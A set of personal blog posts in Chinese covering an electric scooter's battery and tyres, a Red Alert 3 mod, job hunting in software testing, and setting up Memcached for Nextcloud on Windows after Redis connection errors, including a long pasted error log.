这个我用自带的NFC挂件解决了。 2、电池 之前用的是原装的30A电池,一天待机会减少3%的电。 然而九号原厂68A的电池,一天待机居然也会减少3%的电? 这应该是软件问题,待机就减少3%的电。应该不会是真实耗电3%。 现在上班耗电11%,下班慢点骑9%。 这周本来想骑着电瓶车到杭州萧山同盘顶的,因为天气太冷,开车上去了。山上骑摩托车的人真特么多。 3、自动关机 因为安装了中撑,有2次忘记放下边撑。 导致电瓶车一直开机,下班后才发现一直开机。还好电池没人偷。偷了就完蛋。 九号这么大的公司怎么会没发现这个问题。 应该0速度到一定的时间,自己关机。 还一直开机,真的是太不安全了。 4、后备箱 后备箱不防雨,下了几次雨后备箱,湿漉漉的。 充电器放里面真怕坏了。 ### 《红色警戒3 日冕》 不容易打败5个凶残的电脑 玩了好久,就赢了一次。1个凶残电脑AI,直接灭了4个凶残电脑AI。前期只能偷偷摸摸发育! 疯狂电脑就别想赢了,除非开挂。1个凶残点击就有点扛不住了。 疯狂经济加持AI 7 倍,基本上是玩家的7倍。疯狂暴兵,满屏幕的AI单位,堆死你! 后面就不玩这个游戏和其他游戏了,太浪费时间。 ### 杭州软件测试也开始内卷了 上个月华为数字人测试人员都撤掉了,我通过公司内部面试,进入新的项目,面试还好通过了。 也面试外面的公司,投简历,三分之二反馈不合适,有两家面试,跟之前比较很不一样,要求比较多。 换组的过程中,摸鱼小红书,查找相关软件测试。 基本上都是培训机构,然后或多或少给点资料。 然后我进了微信群,看他们聊天,妈呀,软件测试也要背八股文了。 6399报培训班?还不如报软考,软考还有证书呢! ### 这个星期闲鱼赚了3元 拼多多买的一个鱼缸水泵,用着感觉还行。 然后在咸鱼随便挂着玩玩,居然有人买了,赚了3元。 然后跟一个小伙伴,找了中介代办开公司,收费一人一半,将近3000。 花钱特快,赚钱特别难。 ### 九号Mmax 110P 原厂68A电池和朝阳轮胎 758512(ChaoYang)使用感受 一、九号原厂68A电池 原厂68A电池,价格是6399。原车30A电池和充电器回收1600,6399-1600=4799。相当于4799买一个电池。这个星期安装使用了。 原来电池上下班差不多使用37~40%的电,早上21~22%的电,C档,最高速度49Km/H。下班E档,25Km/H,加起来差不多37%~40%。 现在68A的电池,早上13~14%的电,下班也差不的速度,一共消耗20%~30%。 目前40%的电能使用2天,原装38A电池一天40%左右。 68A电池就可以4天充一次电,不充电,悠着点能骑5天。 电池很重,骑起来怎么感觉有点甩尾? 最后也要注意一点, 九号不承认这个68A电池,京东客服会跟你说在线下店订,而且没有发票。 100%的电,180KM 45%的电,83KM 二、朝阳 758512 轮胎 米其林 CITY 1代 909012 轮胎已经咸鱼出掉了,两条290元。亏了好多钱。 目前已经安装朝阳 758512 轮胎,安装上没什么区别,就是变道和转向感觉有一丢丢不灵活(跟原装轮胎6010012比较)。 型号是 朝阳轮胎(ChaoYang)75/85-12(16*2.75) 四季全效热熔轮胎真空胎 神鸟金乌 安装的师傅,轮胎是从京东卖的,也是京东上指定的安装店。 一条166,两条166*2+50*2=432。 赚钱不容易,花钱倒是特别快。 虽然电池和轮胎很费钱,也犹豫了很久,还是买了。 第一轮胎必须重视,毕竟安全最重要。 而电池感觉没必要买。 ### Nextcloud redis和Memcached 使用感受 Nextcloud+acpu+Memcached 目前使用正常,不会经常概率性出现内部错误的问题。使用上感觉比redis要慢一丢丢。 Nextcloud+acpu+Redis 有概率内部错误,必现。 Redis的问题,目前无解,百度上和nextcloud论坛没有相关的解决方法。 只能使用nextcloud,acpu和Memcached。 ### Nextcloud 配置Memcached  1、原因 nextcloud配置redis,会有概率出现内部错误,必现。 文章:nextcloud 使用redis后,有概率报内部错误 百度好久,不知道怎么解决。后面就用Memcached 看看,会不会有这个问题 2、nextcloud配置Memcached  这个是怎么安装Memcahed的文章:Windows 11 安装Memcached  然后修改config.php文件,删掉redis的配置项,添加Memcached 配置 'memcache.distributed' => 'OCMemcacheMemcached', 'memcached_servers' => array( array('127.0.0.1', 11211), ), 先看看,还会出现内部错误。 2022/12/3:目前没有出现内部错误,不知道是不是已经能正常使用了。 ### Windows 11 安装Memcached  1、下载Memcached  版本是Windows 系统 64位的,解压压缩包,然后放到指定的目录下面。 我是直接放在C盘目录下面 2、Windows 安装memcached 安装memcached c:memcachedmemcached.exe -d install 启动memcached c:memcachedmemcached.exe -d start 停止memcached c:memcachedmemcached.exe -d stop 3、设置开机启动memcached 创建一个bat文件,然后输入下面的启动代码 @ECHO OFF c:memcachedmemcached.exe -d start EXIT 然后放入C:UsersChengAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup里。 就可以开机启动了。 4、连接memcached 用telnet命令行连接 连接方式是telnet 127.0.0.1 11211 ### nextcloud 使用redis后,有概率报内部错误 内部服务器错误 服务器不能完成您的请求。 如果再次发生这种情况,请将下面的技术详细信息发送给服务器管理员。 更多细节可以在服务器日志中找到。 技术细节 远程地址:172.17.0.1 请求 ID:v2dkH1VVxrBxt8CFufQX {"reqId":"v2dkH1VVxrBxt8CFufQX","level":3,"time":"2022-11-30T13:56:10+00:00","remoteAddr":"172.17.0.1","user":"--","app":"index","method":"GET","url":"/","message":"read error on connection to 192.168.31.198:6379","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"25.0.1.1","exception":{"Exception":"RedisException","Message":"read error on connection to 192.168.31.198:6379","Code":0,"Trace":[{"file":"/var/www/html/lib/private/RedisFactory.php","line":137,"function":"pconnect","class":"Redis","type":"->","args":["192.168.31.198",6379,0,null,0,0]},{"file":"/var/www/html/lib/private/RedisFactory.php","line":178,"function":"create","class":"OCRedisFactory","type":"->","args":[]},{"file":"/var/www/html/lib/private/Memcache/Redis.php","line":43,"function":"getInstance","class":"OCRedisFactory","type":"->","args":[]},{"file":"/var/www/html/lib/private/Memcache/Factory.php","line":118,"function":"construct","class":"OCMemcacheRedis","type":"->","args":["e11e3c9aa788fedeacf6e7df68f136c3/lock"]},{"file":"/var/www/html/lib/private/Server.php","line":1120,"function":"createLocking","class":"OCMemcacheFactory","type":"->","args":["lock"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":["*** sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLockILockingProvider"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLockILockingProvider",false]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLockILockingProvider"]},{"file":"/var/www/html/lib/private/Server.php","line":2069,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLockILockingProvider"]},{"file":"/var/www/html/lib/private/Files/View.php","line":117,"function":"getLockingProvider","class":"OCServer","type":"->","args":[]},{"file":"/var/www/html/lib/private/Server.php","line":462,"function":"__construct","class":"OCFilesView","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCFilesNodeHookConnector"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCFilesNodeHookConnector",false]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCServerContainer","type":"->","args":["OCFilesNodeHookConnector"]},{"file":"/var/www/html/lib/private/Server.php","line":1471,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCFilesNodeHookConnector"]},{"file":"/var/www/html/lib/base.php","line":617,"function":"boot","class":"OCServer","type":"->","args":[]},{"file":"/var/www/html/lib/base.php","line":1144,"function":"init","class":"OC","type":"::","args":[]},{"file":"/var/www/html/index.php","line":34,"args":["/var/www/html/lib/base.php"],"function":"require_once"}],"File":"/var/www/html/lib/private/RedisFactory.php","Line":137,"CustomMessage":"--"}} {"reqId":"v2dkH1VVxrBxt8CFufQX","level":3,"time":"2022-11-30T13:56:12+00:00","remoteAddr":"172.17.0.1","user":"--","app":"no app in context","method":"GET","url":"/","message":"Could not boot files_trashbin: Could not resolve trashManager! Class "trashManager" does not exist","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"25.0.1.1","exception":{"Exception":"OCPAppFrameworkQueryException","Message":"Could not resolve trashManager! Class "trashManager" does not exist","Code":0,"Trace":[{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["trashManager"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":161,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["trashManager",true]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["trashManager",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["trashManager"]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/FunctionInjector.php","line":57,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["trashManager"]},{"function":"OCAppFrameworkBootstrap{closure}","class":"OCAppFrameworkBootstrapFunctionInjector","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/FunctionInjector.php","line":67,"function":"array_map","args":[{"__class":"Closure"},[{"class":"ReflectionParameter","name":"serverContainer"},{"class":"ReflectionParameter","name":"logger"},{"class":"ReflectionParameter","name":"appManager"}," sensitive parameters replaced "]]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/BootContext.php","line":51,"function":"injectFn","class":"OCAppFrameworkBootstrapFunctionInjector","type":"->","args":[[{"class":"OCAFiles_TrashbinAppInfoApplication"},"registerTrashBackends"]]},{"file":"/var/www/html/apps/files_trashbin/lib/AppInfo/Application.php","line":61,"function":"injectFn","class":"OCAppFrameworkBootstrapBootContext","type":"->","args":[[{"class":"OCAFiles_TrashbinAppInfoApplication"},"registerTrashBackends"]]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_TrashbinAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":208,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_trashbin"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":141,"function":"loadApp","class":"OC_App","type":"::","args":["files_trashbin"]},{"file":"/var/www/html/apps/dav/lib/AppInfo/Application.php","line":205,"function":"loadApps","class":"OC_App","type":"::","args":[["dav"]]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCADAVAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":208,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["dav"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":141,"function":"loadApp","class":"OC_App","type":"::","args":["dav"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/appdata_ocht53ev2i9g/js/core"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1390,"function":"find","class":"OCFilesMountManager","type":"->","args":["/appdata_ocht53ev2i9g/js/core"]},{"file":"/var/www/html/lib/private/Files/Node/Root.php","line":205,"function":"getFileInfo","class":"OCFilesView","type":"->","args":["/appdata_ocht53ev2i9g/js/core"]},{"function":"get","class":"OCFilesNodeRoot","type":"->","args":["/appdata_ocht53ev2i9g/js/core"]},{"file":"/var/www/html/lib/private/Files/Node/LazyFolder.php","line":72,"function":"call_user_func_array","args":[[{"class":"OCFilesNodeRoot"},"get"],["appdata_ocht53ev2i9g/js/core"]]},{"file":"/var/www/html/lib/private/Files/Node/LazyFolder.php","line":149,"function":"call","class":"OCFilesNodeLazyFolder","type":"->","args":["get",["appdata_ocht53ev2i9g/js/core"]]},{"file":"/var/www/html/lib/private/Files/AppData/AppData.php","line":132,"function":"get","class":"OCFilesNodeLazyFolder","type":"->","args":["appdata_ocht53ev2i9g/js/core"]},{"file":"/var/www/html/lib/private/Template/JSCombiner.php","line":88,"function":"getFolder","class":"OCFilesAppDataAppData","type":"->","args":["core"]},{"file":"/var/www/html/lib/private/Template/JSResourceLocator.php","line":125,"function":"process","class":"OCTemplateJSCombiner","type":"->","args":["/var/www/html","core/js/merged-template-prepend.json","core"]},{"file":"/var/www/html/lib/private/Template/JSResourceLocator.php","line":77,"function":"cacheAndAppendCombineJsonIfExist","class":"OCTemplateJSResourceLocator","type":"->","args":["/var/www/html","core/js/merged-template-prepend.json"]},{"file":"/var/www/html/lib/private/Template/ResourceLocator.php","line":78,"function":"doFind","class":"OCTemplateJSResourceLocator","type":"->","args":["core/js/merged-template-prepend"]},{"file":"/var/www/html/lib/private/TemplateLayout.php","line":379,"function":"find","class":"OCTemplateResourceLocator","type":"->","args":[["core/js/common","core/js/main","core/l10n/zh_CN","core/js/files_fileinfo","core/js/files_client","And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/TemplateLayout.php","line":211,"function":"findJavascriptFiles","class":"OCTemplateLayout","type":"::","args":[["core/js/common","core/js/main","core/l10n/zh_CN","core/js/files_fileinfo","core/js/files_client","And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/legacy/OC_Template.php","line":184,"function":"__construct","class":"OCTemplateLayout","type":"->","args":["error",""]},{"file":"/var/www/html/lib/private/Template/Base.php","line":132,"function":"fetchPage","class":"OC_Template","type":"->","args":[]},{"file":"/var/www/html/lib/private/legacy/OC_Template.php","line":333,"function":"printPage","class":"OCTemplateBase","type":"->","args":[]},{"file":"/var/www/html/index.php","line":74,"function":"printExceptionErrorPage","class":"OC_Template","type":"::","args":[{"__class":"RedisException"},500]}],"File":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","Line":122,"message":"Could not boot files_trashbin: Could not resolve trashManager! Class "trashManager" does not exist","exception":{},"CustomMessage":"Could not boot files_trashbin: Could not resolve trashManager! Class "trashManager" does not exist"}}{"reqId":"v2dkH1VVxrBxt8CFufQX","level":3,"time":"2022-11-30T13:56:12+00:00","remoteAddr":"172.17.0.1","user":"--","app":"no app in context","method":"GET","url":"/","message":"Could not boot files_versions: Could not resolve OCAFiles_VersionsVersionsIVersionManager! Class can not be instantiated","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"25.0.1.1","exception":{"Exception":"OCPAppFrameworkQueryException","Message":"Could not resolve OCAFiles_VersionsVersionsIVersionManager! Class can not be instantiated","Code":0,"Trace":[{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_VersionsVersionsIVersionManager"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_VersionsVersionsIVersionManager"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_VersionsVersionsIVersionManager"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_VersionsVersionsIVersionManager"]},{"file":"/var/www/html/apps/files_versions/lib/AppInfo/Application.php","line":130,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_VersionsVersionsIVersionManager"]},{"file":"/var/www/html/apps/files_versions/lib/AppInfo/Application.php","line":117,"function":"loadBackend","class":"OCAFiles_VersionsAppInfoApplication","type":"->","args":[[["OCACollectivesMountCollectiveStorage"],"OCACollectivesVersionsVersionsBackend"],{"class":"OCAppFrameworkDependencyInjectionDIContainer"},{"class":"OCAppFrameworkScopedPsrLogger"}]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/FunctionInjector.php","line":67,"function":"registerVersionBackends","class":"OCAFiles_VersionsAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkDependencyInjectionDIContainer"},{"class":"OCAppAppManager"},{"class":"OCAppFrameworkScopedPsrLogger"}]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/BootContext.php","line":51,"function":"injectFn","class":"OCAppFrameworkBootstrapFunctionInjector","type":"->","args":[{"class":"Closure"}]},{"file":"/var/www/html/apps/files_versions/lib/AppInfo/Application.php","line":102,"function":"injectFn","class":"OCAppFrameworkBootstrapBootContext","type":"->","args":[{"class":"Closure"}]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_VersionsAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":208,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_versions"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":141,"function":"loadApp","class":"OC_App","type":"::","args":["files_versions"]},{"file":"/var/www/html/apps/dav/lib/AppInfo/Application.php","line":205,"function":"loadApps","class":"OC_App","type":"::","args":[["dav"]]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCADAVAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":208,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["dav"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":141,"function":"loadApp","class":"OC_App","type":"::","args":["dav"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/appdata_ocht53ev2i9g/js/core"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1390,"function":"find","class":"OCFilesMountManager","type":"->","args":["/appdata_ocht53ev2i9g/js/core"]},{"file":"/var/www/html/lib/private/Files/Node/Root.php","line":205,"function":"getFileInfo","class":"OCFilesView","type":"->","args":["/appdata_ocht53ev2i9g/js/core"]},{"function":"get","class":"OCFilesNodeRoot","type":"->","args":["/appdata_ocht53ev2i9g/js/core"]},{"file":"/var/www/html/lib/private/Files/Node/LazyFolder.php","line":72,"function":"call_user_func_array","args":[[{"class":"OCFilesNodeRoot"},"get"],["appdata_ocht53ev2i9g/js/core"]]},{"file":"/var/www/html/lib/private/Files/Node/LazyFolder.php","line":149,"function":"call","class":"OCFilesNodeLazyFolder","type":"->","args":["get",["appdata_ocht53ev2i9g/js/core"]]},{"file":"/var/www/html/lib/private/Files/AppData/AppData.php","line":132,"function":"get","class":"OCFilesNodeLazyFolder","type":"->","args":["appdata_ocht53ev2i9g/js/core"]},{"file":"/var/www/html/lib/private/Template/JSCombiner.php","line":88,"function":"getFolder","class":"OCFilesAppDataAppData","type":"->","args":["core"]},{"file":"/var/www/html/lib/private/Template/JSResourceLocator.php","line":125,"function":"process","class":"OCTemplateJSCombiner","type":"->","args":["/var/www/html","core/js/merged-template-prepend.json","core"]},{"file":"/var/www/html/lib/private/Template/JSResourceLocator.php","line":77,"function":"cacheAndAppendCombineJsonIfExist","class":"OCTemplateJSResourceLocator","type":"->","args":["/var/www/html","core/js/merged-template-prepend.json"]},{"file":"/var/www/html/lib/private/Template/ResourceLocator.php","line":78,"function":"doFind","class":"OCTemplateJSResourceLocator","type":"->","args":["core/js/merged-template-prepend"]},{"file":"/var/www/html/lib/private/TemplateLayout.php","line":379,"function":"find","class":"OCTemplateResourceLocator","type":"->","args":[["core/js/common","core/js/main","core/l10n/zh_CN","core/js/files_fileinfo","core/js/files_client","And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/TemplateLayout.php","line":211,"function":"findJavascriptFiles","class":"OCTemplateLayout","type":"::","args":[["core/js/common","core/js/main","core/l10n/zh_CN","core/js/files_fileinfo","core/js/files_client","And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/legacy/OC_Template.php","line":184,"function":"__construct","class":"OCTemplateLayout","type":"->","args":["error",""]},{"file":"/var/www/html/lib/private/Template/Base.php","line":132,"function":"fetchPage","class":"OC_Template","type":"->","args":[]},{"file":"/var/www/html/lib/private/legacy/OC_Template.php","line":333,"function":"printPage","class":"OCTemplateBase","type":"->","args":[]},{"file":"/var/www/html/index.php","line":74,"function":"printExceptionErrorPage","class":"OC_Template","type":"::","args":[{"__class":"RedisException"},500]}],"File":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","Line":118,"message":"Could not boot files_versions: Could not resolve OCAFiles_VersionsVersionsIVersionManager! Class can not be instantiated","exception":{},"CustomMessage":"Could not boot files_versions: Could not resolve OCAFiles_VersionsVersionsIVersionManager! Class can not be instantiated"}}{"reqId":"v2dkH1VVxrBxt8CFufQX","level":3,"time":"2022-11-30T13:56:12+00:00","remoteAddr":"172.17.0.1","user":"--","app":"no app in context","method":"GET","url":"/","message":"Could not boot files_sharing: Could not resolve externalMountProvider! Class "externalMountProvider" does not exist","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"25.0.1.1","exception":{"Exception":"OCPAppFrameworkQueryException","Message":"Could not resolve externalMountProvider! Class "externalMountProvider" does not exist","Code":0,"Trace":[{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["externalMountProvider"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":161,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["externalMountProvider",true]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["externalMountProvider",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["externalMountProvider"]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/FunctionInjector.php","line":57,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["externalMountProvider"]},{"function":"OCAppFrameworkBootstrap{closure}","class":"OCAppFrameworkBootstrapFunctionInjector","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/FunctionInjector.php","line":67,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"mountProviderCollection"},{"class":"ReflectionParameter","name":"mountProvider"}," sensitive parameters replaced ***"]]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/BootContext.php","line":51,"function":"injectFn","class":"OCAppFrameworkBootstrapFunctionInjector","type":"->","args":[[{"class":"OCAFiles_SharingAppInfoApplication"},"registerMountProviders"]]},{"file":"/var/www/html/apps/files_sharing/lib/AppInfo/Application.php","line":114,"function":"injectFn","class":"OCAppFrameworkBootstrapBootContext","type":"->","args":[[{"class":"OCAFiles_SharingAppInfoApplication"},"registerMountProviders"]]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_SharingAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":208,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_sharing"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":141,"function":"loadApp","class":"OC_App","type":"::","args":["files_sharing"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/appdata_ocht53ev2i9g/js/core"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1390,"function":"find","class":"OCFilesMountManager","type":"->","args":["/appdata_ocht53ev2i9g/js/core"]},{"file":"/var/www/html/lib/private/Files/Node/Root.php","line":205,"function":"getFileInfo","class":"OCFilesView","type":"->","args":["/appdata_ocht53ev2i9g/js/core"]},{"function":"get","class":"OCFilesNodeRoot","type":"->","args":["/appdata_ocht53ev2i9g/js/core"]},{"file":"/var/www/html/lib/private/Files/Node/LazyFolder.php","line":72,"function":"call_user_func_array","args":[[{"class":"OCFilesNodeRoot"},"get"],["appdata_ocht53ev2i9g/js/core"]]},{"file":"/var/www/html/lib/private/Files/Node/LazyFolder.php","line":149,"function":"call","class":"OCFilesNodeLazyFolder","type":"->","args":["get",["appdata_ocht53ev2i9g/js/core"]]},{"file":"/var/www/html/lib/private/Files/AppData/AppData.php","line":132,"function":"get","class":"OCFilesNodeLazyFolder","type":"->","args":["appdata_ocht53ev2i9g/js/core"]},{"file":"/var/www/html/lib/private/Template/JSCombiner.php","line":88,"function":"getFolder","class":"OCFilesAppDataAppData","type":"->","args":["core"]},{"file":"/var/www/html/lib/private/Template/JSResourceLocator.php","line":125,"function":"process","class":"OCTemplateJSCombiner","type":"->","args":["/var/www/html","core/js/merged-template-prepend.json","core"]},{"file":"/var/www/html/lib/private/Template/JSResourceLocator.php","line":77,"function":"cacheAndAppendCombineJsonIfExist","class":"OCTemplateJSResourceLocator","type":"->","args":["/var/www/html","core/js/merged-template-prepend.json"]},{"file":"/var/www/html/lib/private/Template/ResourceLocator.php","line":78,"function":"doFind","class":"OCTemplateJSResourceLocator","type":"->","args":["core/js/merged-template-prepend"]},{"file":"/var/www/html/lib/private/TemplateLayout.php","line":379,"function":"find","class":"OCTemplateResourceLocator","type":"->","args":[["core/js/common","core/js/main","core/l10n/zh_CN","core/js/files_fileinfo","core/js/files_client","And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/TemplateLayout.php","line":211,"function":"findJavascriptFiles","class":"OCTemplateLayout","type":"::","args":[["core/js/common","core/js/main","core/l10n/zh_CN","core/js/files_fileinfo","core/js/files_client","And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/legacy/OC_Template.php","line":184,"function":"__construct","class":"OCTemplateLayout","type":"->","args":["error",""]},{"file":"/var/www/html/lib/private/Template/Base.php","line":132,"function":"fetchPage","class":"OC_Template","type":"->","args":[]},{"file":"/var/www/html/lib/private/legacy/OC_Template.php","line":333,"function":"printPage","class":"OCTemplateBase","type":"->","args":[]},{"file":"/var/www/html/index.php","line":74,"function":"printExceptionErrorPage","class":"OC_Template","type":"::","args":[{"__class":"RedisException"},500]}],"File":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","Line":122,"message":"Could not boot files_sharing: Could not resolve externalMountProvider! Class "externalMountProvider" does not exist","exception":{},"CustomMessage":"Could not boot files_sharing: Could not resolve externalMountProvider! Class "externalMountProvider" does not exist"}} ### 红色警戒3 日冕官网 下载安装 下载日冕客户端 百度输入关键字:cor-games https://cor-games.com/ 下载日冕客户端(第一个),不是量子打包形态。 红色警戒3 日冕 Windows 客户端,点击开始游戏就可以进入了。 下载红警3 原版 